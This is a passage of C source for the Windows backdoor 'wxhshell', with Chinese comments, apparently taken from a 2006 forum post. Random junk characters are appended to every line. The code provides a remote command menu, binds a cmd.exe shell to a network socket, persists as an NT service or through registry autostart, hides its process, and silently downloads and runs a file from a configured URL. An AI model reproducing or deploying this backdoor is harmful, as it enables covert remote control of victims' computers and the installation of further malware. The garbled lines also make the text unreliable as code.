w0Ex}  
    switch(cmd[0]) { XzX2V">(%  
  mCk_c  
  // 帮助 b]Kb ~y|  
  case '?': { 0vX6n6G}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2p#d  
    break; 2yZ~j_AF[  
  } 83 R_8  
  // 安装 o#1Ta7Ro  
  case 'i': { rl~Rbi  
    if(Install()) n'{jc 6&|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aXQAm$/ >  
    else -3~S{)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %e0X-tXcmX  
    break; z;2& d<h  
    } Y3FFi M[s~  
  // 卸载 qC"`i}7  
  case 'r': { eq8faC5  
    if(Uninstall()) $joGda  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +l/kH9m  
    else =54D#,[B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {jQLr7'  
    break; IemhHf ^l  
    } <T)0I1S  
  // 显示 wxhshell 所在路径 Ja4M@z  
  case 'p': { Pi |Z\j)  
    char svExeFile[MAX_PATH]; NS`hXf  
    strcpy(svExeFile,"\n\r"); !jU{ }RCR  
      strcat(svExeFile,ExeFile); :@P6ibcX  
        send(wsh,svExeFile,strlen(svExeFile),0); ~vA8I#.  
    break; S^|`*%pq  
    } "nfi :A1  
  // 重启 SFtcO  
  case 'b': { SSla^,MHef  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .E+O,@?<  
    if(Boot(REBOOT)) w/*#TDR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qN' 3{jiPL  
    else { ,xrA2  
    closesocket(wsh); $M0l (htR  
    ExitThread(0); bx{njo1Mr  
    } x0{B7/FN  
    break; \>wQyz  
    } 1,$"'lKwt  
  // 关机 6'e^np  
  case 'd': { >b9J!'G,(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [*(1~PrlO,  
    if(Boot(SHUTDOWN)) fibudkg'>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?f3R+4  
    else { uqI'e_&=&5  
    closesocket(wsh); /=AFle2(  
    ExitThread(0); (;05=DsO  
    } /4+Q; P  
    break; }|) N5bGQe  
    } qa@;S,lp  
  // 获取shell +_*NY~  
  case 's': { W-|C K&1  
    CmdShell(wsh); |Rx+2`6Dp  
    closesocket(wsh); M;3q.0MU  
    ExitThread(0); aZ{l6  
    break; `W_&^>yl  
  } U&Atgv  
  // 退出 }S')!3[G  
  case 'x': { a=y%+E'a '  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eY?OUS  
    CloseIt(wsh); Q<MxbHk9  
    break; Y?0x/2<  
    } qB K68B)  
  // 离开 KQ6][2-  
  case 'q': { gp 11/ .  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9eP*N(m<  
    closesocket(wsh); m1]/8{EC7  
    WSACleanup(); >$CNR*}@  
    exit(1); Xg1TX_3Ml  
    break; bf1$:09  
        } TxN+-< f  
  } lFIaC}  
  } {c]dz7'?  
;*FY+jM  
  // 提示信息 <6hs<qXqi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g[@0H=  
} x30|0EHYl[  
  } 8dt=@pwx&  
3d1xL+  
  return; =^*EM<WG)  
} 'Pn:10;  
1B&XM^>/  
// shell模块句柄 D,FgX/&i/  
int CmdShell(SOCKET sock) o>d0R w4h  
{ Xm(#O1Vm(l  
STARTUPINFO si; P92pQ_W  
ZeroMemory(&si,sizeof(si)); ngd4PN>{4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )w&|VvM )L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n4XkhY|  
PROCESS_INFORMATION ProcessInfo; $/JXI?K  
char cmdline[]="cmd"; 9PO5GYU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +gBD E :  
  return 0; i88`W&tI{  
} 7oUo[  
l9+CJAmq  
// 自身启动模式 \7xc*v [  
int StartFromService(void) JW2f 6!b  
{ ).u>%4=6  
typedef struct e(1{W P  
{ F`,bFQ  
  DWORD ExitStatus; Xf{p>-+DL  
  DWORD PebBaseAddress; t)k;5B`> &  
  DWORD AffinityMask; 0N4ZV}s,d  
  DWORD BasePriority; g?}h*~<b  
  ULONG UniqueProcessId; oHSDi  
  ULONG InheritedFromUniqueProcessId; .S=|ZP+  
}   PROCESS_BASIC_INFORMATION; sMJa4P>O@  
tN.BI1nB  
PROCNTQSIP NtQueryInformationProcess; VRY@}>W'  
[6.<#_~{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k!+v*+R+V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X ) =-a  
=R9`to|  
  HANDLE             hProcess; YLSDJ$K6  
  PROCESS_BASIC_INFORMATION pbi; 6BQq|:U  
tLdQO"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PIQd=%?'  
  if(NULL == hInst ) return 0; fG.6S"|M  
E J6|y'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NJoHrhC='  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bsI?=lO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q4N0j' QA  
1O)m(0tb[  
  if (!NtQueryInformationProcess) return 0; 2U+Fa t@  
z!k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H6 $pA^  
  if(!hProcess) return 0; md : Wx  
!@+4&B=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $Nj'_G\}  
;'<SsI  
  CloseHandle(hProcess); =fhRyU:C[z  
}1sd<<\`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |oR{c%z05  
if(hProcess==NULL) return 0; [,z>msEB.  
$V_w4!:Q  
HMODULE hMod; `j.-hy>s  
char procName[255]; BBl9<ne$  
unsigned long cbNeeded; YB]^Y^"e  
v?DA>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A_J!VXq  
cI <T/~P  
  CloseHandle(hProcess); nqcD#HUv  
$f6wmI;<y  
if(strstr(procName,"services")) return 1; // 以服务启动 *zX^Sg-[  
#CB`7 }jq  
  return 0; // 注册表启动 *  }ZKQ  
} Thp!X/2O`  
_ukBp*u  
// 主模块 M>jk"*hA|  
int StartWxhshell(LPSTR lpCmdLine) ?SoRi</1  
{ !OR %AdxB  
  SOCKET wsl; :&O6Y-/B  
BOOL val=TRUE; F @Wb<+0  
  int port=0; E I&)+cC  
  struct sockaddr_in door; c 9zMI  
?NUDHUn_  
  if(wscfg.ws_autoins) Install(); O-<nL B!Wf  
/JP%gD"8  
port=atoi(lpCmdLine); >t $^U  
nrz2f7d$  
if(port<=0) port=wscfg.ws_port; .+`Z:{:BC&  
<%LN3T  
  WSADATA data; 9M .cTIO{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7{u1ynt   
Eg]tDPN1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <cR]-Yr~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :x_;-  
  door.sin_family = AF_INET; Z<[f81hE&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +{ {'3=x9  
  door.sin_port = htons(port); @-jI<g  
,Je9]XT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7|pF (sb0  
closesocket(wsl); `bRt_XGPmF  
return 1; )Hlc\Mgy  
} w 8oIq*  
|gJI}"T  
  if(listen(wsl,2) == INVALID_SOCKET) { EN@Pr `R  
closesocket(wsl); $pYT#_P!/  
return 1; w!/se;_H+w  
} FTZaN1%`  
  Wxhshell(wsl); vip& b}u  
  WSACleanup(); p?4h2`P  
^-pHhh|g  
return 0; )\Ay4 d  
p |xMXoa`  
} :k7h"w  
c27\S?\ Jd  
// 以NT服务方式启动 a?X{k|;!7u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  N'e3<  
{ jMB&(r  
DWORD   status = 0; 9..! g:  
  DWORD   specificError = 0xfffffff; {qjw  S1v  
!S}4b   
  serviceStatus.dwServiceType     = SERVICE_WIN32; j?cE0 hz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T@,tlIM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K trR+ :  
  serviceStatus.dwWin32ExitCode     = 0; uS,XQy2  
  serviceStatus.dwServiceSpecificExitCode = 0; 9 54O=9PQ  
  serviceStatus.dwCheckPoint       = 0; (}NKW  
  serviceStatus.dwWaitHint       = 0; &KZr`"cT#  
()I';o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o+T %n1$+V  
  if (hServiceStatusHandle==0) return; G^=C#9c.m  
f-/zR%s{  
status = GetLastError(); 9H4NvB{  
  if (status!=NO_ERROR) W|aFEY  
{ A ^wIsAxT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [N4#R  
    serviceStatus.dwCheckPoint       = 0; y&$v@]t1  
    serviceStatus.dwWaitHint       = 0; .gK>O2hI  
    serviceStatus.dwWin32ExitCode     = status; }Kc03Ue`%e  
    serviceStatus.dwServiceSpecificExitCode = specificError; <; (pol|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !uJD hC  
    return; hs  m%o\  
  } .W)%*~ O!;  
 wN4N 2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LU=`K4  
  serviceStatus.dwCheckPoint       = 0; 20XN5dTFT  
  serviceStatus.dwWaitHint       = 0; Pa-p9]gq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;j]-;wg-;  
} tEXY>=  
gwyHDSo8:a  
// 处理NT服务事件,比如:启动、停止 #nOS7Q#uW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WG0Ne;Ho  
{ "}(g3Iy  
switch(fdwControl) VS{po:]A  
{ eJ3w}"?9s  
case SERVICE_CONTROL_STOP: Rt^~db  
  serviceStatus.dwWin32ExitCode = 0; ^t{2k[@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; );zLy?n  
  serviceStatus.dwCheckPoint   = 0; ^t'mfG|DV  
  serviceStatus.dwWaitHint     = 0; O-D${==  
  { ~ojH$=K>d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 18xT2f  
  } =83FCq"  
  return; C;C= g1I}  
case SERVICE_CONTROL_PAUSE: j(|9>J*,~G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d/fg  
  break; ~rWys=  
case SERVICE_CONTROL_CONTINUE: )Zcw G(o0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y%B:IeF}  
  break; XsVp7zk\  
case SERVICE_CONTROL_INTERROGATE: ~F ,mc.  
  break; O~1vX9  
}; -9Ll'fbq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iksd^\]f  
} t69C48}15  
Q,.[y"m9Y.  
// 标准应用程序主函数 PSM~10l,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nF8|*}w  
{ 2Bf]#l{z  
;c!}'2>vM  
// 获取操作系统版本 GRt1]%l#$  
OsIsNt=GetOsVer(); ZT \=:X*e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X \1grM  
yJj$iri  
  // 从命令行安装 P}AfXgr  
  if(strpbrk(lpCmdLine,"iI")) Install(); + ~6Nq(kV  
|V 3AA   
  // 下载执行文件 l20fA-T _I  
if(wscfg.ws_downexe) { nsRZy0@$t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Oc|`<^m  
  WinExec(wscfg.ws_filenam,SW_HIDE); +EtL+Y (U  
} `H_.<``>  
J(%Jg  
if(!OsIsNt) { Y ~|C]O  
// 如果时win9x,隐藏进程并且设置为注册表启动 .fQ/a`AsU  
HideProc(); w _*|u  
StartWxhshell(lpCmdLine); bR6g^Yf  
} jP]I>Tq  
else S-M| 6fv  
  if(StartFromService()) ww_gG5Fc$  
  // 以服务方式启动 z2Pnni7Ys  
  StartServiceCtrlDispatcher(DispatchTable); $[p<}o/6v]  
else ?\ qfuA9.  
  // 普通方式启动 @ 435K'!  
  StartWxhshell(lpCmdLine); _* xjG \!  
`qNhB\  
return 0; dKOW5\H'  
}
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只看该作者 1 发表于: 2006-10-10
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